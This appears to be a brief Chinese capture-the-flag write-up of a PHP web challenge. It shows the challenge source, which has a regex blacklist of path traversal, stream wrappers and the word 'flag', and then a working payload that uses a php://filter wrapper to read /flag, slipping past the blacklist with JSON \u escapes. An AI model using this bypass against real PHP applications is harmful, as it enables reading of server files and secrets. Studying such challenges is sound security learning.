给了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| <?php error_reporting(0);
if (isset($_GET['source'])) { show_source(__FILE__); exit(); }
function is_valid($str) { $banword = [ // no path traversal '\.\.', // no stream wrapper '(php|file|glob|data|tp|zip|zlib|phar):', // no data exfiltration 'flag' ]; $regexp = '/' . implode('|', $banword) . '/i'; if (preg_match($regexp, $str)) { return false; } return true; }
$body = file_get_contents('php://input'); $json = json_decode($body, true);
if (is_valid($body) && isset($json) && isset($json['page'])) { $page = $json['page']; $content = file_get_contents($page); if (!$content || !is_valid($content)) { $content = "<p>not found</p>\n"; } } else { $content = '<p>invalid request</p>'; }
// no data exfiltration!!! $content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content); echo json_encode(['content' => $content]);
|
构造假的json和配合php伪协议 即可读取flag
1 2
| { "page" : "php://filter/convert.base64-encode/resource=/flag"}
|
就是这么个格式就可以但是php这被过掉了 需要知道一点json中可以将\uxxxx转义成字符
php->\u0070\u0068\u0070
flag->\u0066\u006c\u0061\u0067 就可以了